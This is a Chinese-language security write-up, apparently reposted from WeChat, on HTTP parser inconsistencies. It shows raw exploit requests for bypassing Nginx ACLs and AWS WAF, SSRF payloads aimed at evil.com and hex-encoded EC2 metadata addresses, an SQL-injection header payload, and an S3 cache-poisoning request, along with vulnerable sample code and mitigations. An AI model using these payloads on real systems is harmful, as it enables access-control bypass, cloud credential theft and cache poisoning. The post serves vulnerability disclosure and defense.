整理测试近期各类HTTP解析器不一致导致的漏洞,可以绕过Nginx ACL和AWS WAF,SSRF利用,异步缓存中毒等。
绕过Nginx
Nginx 是一个强大的 Web 服务器和反向代理,关于Nginx 重写或拦截 HTTP 消息功能的,是通过HTTP路径名部分的特定字符串或正则表达式触发的规则来控制。
在 Nginx 中,“location”规则能够根据请求的 URL 定义特定的指令和行为。此规则充当路由和处理传入 HTTP 请求的关键组件,允许控制不同 URL 的处理方式。
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
这段 Nginx 规则是拦截/admin端点的所有访问,因此如果用户尝试访问此目录,Nginx 将返回403并拦截掉这个HTTP请求。
为了防止基于 URI 的规则出现安全问题,Nginx 在检查它们之前执行路径规范化。Nginx 中的路径规范化是指在处理请求的 URL 之前将其转换和标准化为一致且规范的格式的过程。它涉及从 URL 路径中删除冗余或不必要的元素,例如额外的斜杠、点段、处理路径遍历和 URL 编码字符,以确保 Web 服务器内的一致性和正确路由。
解析器差异问题
如trim()函数在不同语言中的作用。
不同的语言在调用相应的函数时删除不同的字符trim()。每个服务器将根据其规范化路径名trim(),删除不同的字符。但是Nginx是用C编写的,并不能涵盖所有语言的所有字符。
例如:Python使用strip()会删除x85字符,而JavaScript的trim()不会删。
如果使用不同语言的函数解析 HTTP 消息trim(),则可能会发生 HTTP Desync 攻击。
使用 Node.js 绕过 Nginx ACL 规则
让我们考虑以下使用 Express 的 Nginx ACL 规则和 Node.js API 源代码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
app.get('/admin', (req, res) => {
return res.send('ADMIN');
});
-
首先,Nginx收到HTTP请求,并对路径名进行路径规范化;
-
由于Nginx包含字符xa0作为路径名的一部分,因此/admin URI的ACL规则将不会被触发。因此,Nginx将把HTTP消息放过并转发到后端;
-
当Node.js服务器接收到URI/adminx0a时,字符xa0将被删除,从而可以成功访问/admin目录和页面。
下图是 HTTP 请求过程的流程图:
POC验证:
我整理了 Nginx 版本与使用 Node.js 作为后端时可能导致绕过 URI ACL 规则的字符:
Nginx 版本 | Node.js 绕过字符 |
1.22.0 | xA0 |
1.21.6 | xA0 |
1.20.2 | xA0 , x09 , x0C |
1.18.0 | xA0 , x09 , x0C |
1.16.1 | xA0 , x09 , x0C |
使用 Flask 绕过 Nginx ACL 规则
x85, xA0, x1F, x1E, x1D, x1C, x0C, x0B, x09
,但 Nginx 不会处理。location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
@app.route('/admin', methods = ['GET'])
def admin():
data = {"url":request.url, "admin":"True"}
return Response(str(data), mimetype="application/json")
POC验证如下,通过添加x85
Nginx 版本 | Spring Boot 绕过字符 |
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | x09 ,; |
1.18.0 | x09 ,; |
1.16.1 | x09 ,; |
通过 PHP-FPM 绕过 Nginx ACL 规则
PHP-FPM(FastCGI 进程管理器)是一个强大且高性能的 PHP FastCGI 实现,可与 Nginx 无缝协作。它作为一个独立的服务器来处理 PHP 请求,提高 PHP 执行的速度和效率。Nginx 充当反向代理,接收传入的 HTTP 请求并将其传递给 PHP-FPM 进行处理。
让我们考虑以下 Nginx FPM 配置:
location = /admin.php {
deny all;
}
location ~ .php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
当两个.php
文件位于 HTTP 请求的同一路径名时,PHP 将匹配第一个文件,忽略斜杠之后的所有内容。由于 Nginx 配置为阻止对特定端点的请求/admin.php
,因此可以通过执行以下请求来访问 admin.php 文件:
下面是应用程序如何解释 HTTP 请求的图形示例:
仅当第二个 PHP 文件(在本例中为 )index.php存在于服务器结构中时,此技术才有效。参考以下服务器代码/结构:
预防的方式也是把=改为~,比如location ~/admin{deny all;} 。该~表达式匹配路径名任意部分的字符串/admin,换句话说,如果用户向/admin1337发送请求,该请求也会被阻止。
绕过AWS WAF
AWS WAF ACL 的工作原理
像图里这种设置,如果请求头中包含 SQL 注入负载X-Query
,则 AWS WAF 会识别 SQL 注入尝试并使用403
HTTP 状态代码进行响应,拦截请求。
上述请求' or '1'='1' --
在X-Query
标头处携带了有效负载,然后被AWS WAF阻止。
使用换行符绕过 AWS WAF ACL
Node.js、Flask 等 Web 服务器有时会有换行需求。换行是使用字符 x09(制表符)和 x20(空格)等将长请求头的值拆分为多行以提高可读性的做法。但是,这种行为可能会导致兼容性问题和潜在的安全漏洞。
例如,1337: Valuernt1337
以下请求中的标头将被解释为1337: Valuet1337
Node.js 服务器中的头:
GET / HTTP/1.1
Host: target.com
1337: Value
1337
Connection: close
经测试发现可以通过使用换行行为来绕过 AWS WAF。
还是使用上面X-Query测试AWS WAF设置,使用以下 HTTP 请求来确认 Node.js 服务器收到标头' or '1'='1' --
中的有效负载X-Query
。
下面是有换行符请求头访问过程:
对于利用场景,我们可以参考以下Node.js源码。它将返回请求的头作为 Json解析:
app.get('/*', (req, res) => {
res.send(req.headers);
});
以下是利用请求的示例:
GET / HTTP/1.1rn
Host: target.comrn
X-Query: Valuern
t' or '1'='1' -- rn
Connection: closern
rn
如上Node.js ,绕过了AWS WAF。
此绕过技术已报告给 AWS 安全团队并已修复。
路径解析问题导致SSRF
使用路径名解析问题来利用流行服务器和框架(例如 Spring Boot、Flask 和 PHP)中的服务器端SSRF。
通常,有效的 HTTP 路径名以/
或开头http(s)://domain/
,但大多数流行的 WEB 服务器无法正确验证它,这可能会导致安全风险。
Flask 通过路径名解析问题导致SSRF
Flask 是一个轻量级的 Python Web 框架,它提供了一种简单而灵活的 Web 开发方法。
在对 Flask 的路径名解析进行测试后,我发现它接受了某些不应该接受的字符。例如,以下应被视为无效的 HTTP 请求令人惊讶地被框架视为有效,但服务器响应404 Not Found
:
GET @/ HTTP/1.1
Host: target.com
Connection: close
在测试这种行为如何可能导致安全漏洞时,我发现了一篇有用的Medium 博客文章(https://medium.com/@zwork101/making-a-flask-proxy-server-online-in-10-lines-of-code-44b8721bca6),其中演示了如何使用 Flask 框架创建代理。以下是博客文章中提供的代码示例:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
'/', defaults={'path': ''}) .route(
'/<path:path>') .route(
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
想想看,“如果开发人员忘记在SITE_NAME变量中添加一个斜杠怎么办 ”,它可以导致 SSRF。
由于 Flask 还允许@后的任何 ASCII 字符,因此在连接恶意路径名和目标服务器后可以获取任意域。
以下源代码作为利用场景的参考:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
'/', defaults={'path': ''}) .route(
'/<path:path>') .route(
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
下面提供了一个EXP请求的示例:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
在以下示例中,我能够获取我的 EC2 元数据:
Spring Boot 上的 SSRF 通过不正确的路径名解释
在发现 Flask 中存在 SSRF 漏洞后,我开始测试在其他框架中利用此行为。很明显 Spring Boot 也容易受到这个特定问题的影响。
当应用程序解析 Matrix 参数时,绕过权限验证、ACL 绕过和路径遍历是常见测试方向。Servlet矩阵参数是Servlet规范中引入的一个功能,它允许提取和处理URL路径中的其他数据。与用?字符分隔的查询参数不同,矩阵参数用;URL中的字符。
在测试过程中,我发现Spring框架在HTTP路径名的第一个斜杠之前接受矩阵参数分隔符“;”:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
如果真实环境中服端请求是利用请求包的完整路径名来提取,会导致服务器SSRF的出现。
请考虑以下源代码作为利用场景的参考:
上面的代码片段利用HttpServletRequest
API 通过函数检索请求的 URL getRequestURI()
。随后,它将请求的 URI 与目标点ifconfig.me连接起来。
考虑到 Spring 允许在 Matrix 参数分隔符后面添加任何字符,因此也可以使用该@
字符来获取任意端点。
下面是EXP请求的示例:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP 内置 Web 服务器 - 路径名解析问题实现 SSRF
PHP 内置 Web 服务器也存在同样的漏洞。但是,内置服务器一般并未在生产环境中使用,在实际应用程序中不太可能发生。
PHP 允许在路径名中第一个斜杠之前使用星号字符,并且在星号和第一个斜杠之间,几乎所有 ASCII 字符都被接受为有效的 HTTP 请求。
然而,PHP 存在两个限制:
-
该技术只能用于根路径名 /
,不能应用于其他目录页面,换句话说,易受攻击的代码必须在文件中index.php
; -
第一个斜杠之前不允许使用点" ."
,这限制了包含任意 IP 和域,为了绕过,payload必须包含恶意域的无点十六进制编码的 IP 地址。
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "nn";
$response = file_get_contents($proxy_site);
var_dump($response);
提供的代码使用 检索 HTTP 请求路径名$_SERVER['REQUEST_URI']并将其与目标域连接起来。
要执行 IP 地址无点十六进制编码,您可以使用工具ip-encoder.py。
用于利用获取 EC2 元数据的结果有效负载如下:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
在以下EXP证明中,成功拿到了我的 EC2 元数据:
防护设置
-
将 URL 域与用户输入连接时,始终使用完整的 URL 域至关重要。例如,确保在域名后面添加尾部斜杠,例如 http://ifconfig.me/
. -
利用反向代理,有效地处理HTTP请求。通常,只有在没有任何额外的反向代理验证HTTP路径名的情况下使用框架时,才会出现上述漏洞。换句话说,合并反向代理可以显著增强web应用的安全性。
当在解释请求头内容之前从头参数中删除无效的不可见字符时,服务器和反向代理之间存在不一致。这种不一致性可能导致漏洞,例如HTTP请求走私。但我只讨论我在测试过程中发现的一个漏洞和技术点,该漏洞和技术将Desync攻击与缓存中毒相结合,当与AWS S3存储桶集成时,缓存中毒会影响缓存服务器。
首先了解缓存服务器的一些功能
Cache keys缓存键
缓存键是缓存服务器用来存储和检索缓存数据的唯一标识符,它们充当允许访问缓存内容的引用或标签。
最常用的缓存键通常源自 URL 的路径名。当用户向使用缓存的服务器发送请求时,缓存服务器使用所请求的 URL 来定位相应的缓存响应,以返回给用户。
除了 URL 的路径名之外,另一个默认缓存键是 Host 参数。比如缓存的 JavaScript 文件位于https://target.com/static/main.js
. 当用户向此缓存的 URL 发送 HTTP 请求时,缓存服务器将返回存储的响应,而无需将请求转发到后端服务器。
但如果用户向同一页面发送HTTP请求,但将Host标头修改为1337.target.com,则缓存服务器将尝试使用1337.target.comhost头检索/static/main.js URL的相应响应的后端。随后,它将生成一个专门针对该特定HTTP消息的存储响应。
S3 HTTP 异步缓存中毒问题
我演示一个HTTP Desync漏洞,该漏洞会导致缓存中毒,主要影响AWS S3存储桶。
在AmazonAWS S3存储桶中,Host头在将请求路由到正确的存储桶并实现对存储内容的正确访问方面发挥着重要的作用。当与S3 bucket交互时,Host头有助于将请求引导到AWS基础结构中的适当页面。
当向S3存储桶发出请求时,AWS基础设施会检查Host标头以确定目标存储桶。因此,如果用户向your.s3.amazonaws.com域发送HTTP请求,但将主机标头更改为my.s3.amasonaws.com,AWS将在内部“忽略”域名,只获取主机标头中指定的bucket,这是云服务上的常见处理方法。
漏洞利用
S3 存储桶的HOST头的解析涉及两个关键方面:
-
当请求中包含多个主机标头时,仅采用第一个标头,任何其他标头都将被忽略。 -
如果参数中存在 x1f
,x1d
,x0c
,x1e
,x1c
,x0b的
字节,则被忽略。
此行为允许在易受攻击的网站中缓存任意 S3 存储桶内容。
EXP请求如下:
GET / HTTP/1.1
[x1d]Host: evilbucket.com
Host: example.bucket.com
Connection: close
-
首先,缓存服务器检查请求头 x1dHost: evilbucket.com
并将其视为正常的请求头; -
随后,缓存服务器将正确地将 example.bucket.com
标头解析为有效的主机标头,从而导致最终的缓存响应与该HOST值相关联。 -
到达 S3 存储桶后,请求头 x1dHost: evilbucket.com
将被错误地解释为有效的主机标头,而预期的Host: example.bucket.com
将被忽略。AWS的这种误解将导致获取恶意请求头的相关bucket。
最终的结果是使用任意内容对页面进行完全的缓存中毒。
POC验证视频演示了在过时的Varnish缓存服务器中利用此漏洞的情况。需要注意的是,较新版本的Varnish默认受此漏洞的影响:
除了 Varnish 之外,Akamai 等其他缓存服务器也容易受到此问题的影响。不过,该漏洞已得到修复,并且目前无法在任何 AWS 服务上重现。
结论
HTTP 解析器及其对整体安全性的影响。通过探索各种技术(例如负载均衡器、反向代理、Web 服务器和缓存服务器)中 HTTP 解析器的不一致性,发现了潜在的利用途径。
我测试并验证了(例如路径规范化和接受特殊字符)如何导致绕过安全规则,甚至为服务器端请求伪造 (SSRF) 和缓存中毒漏洞打开大门。
原文始发于微信公众号(军机故阁):最新的各HTTP解析器差异导致的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论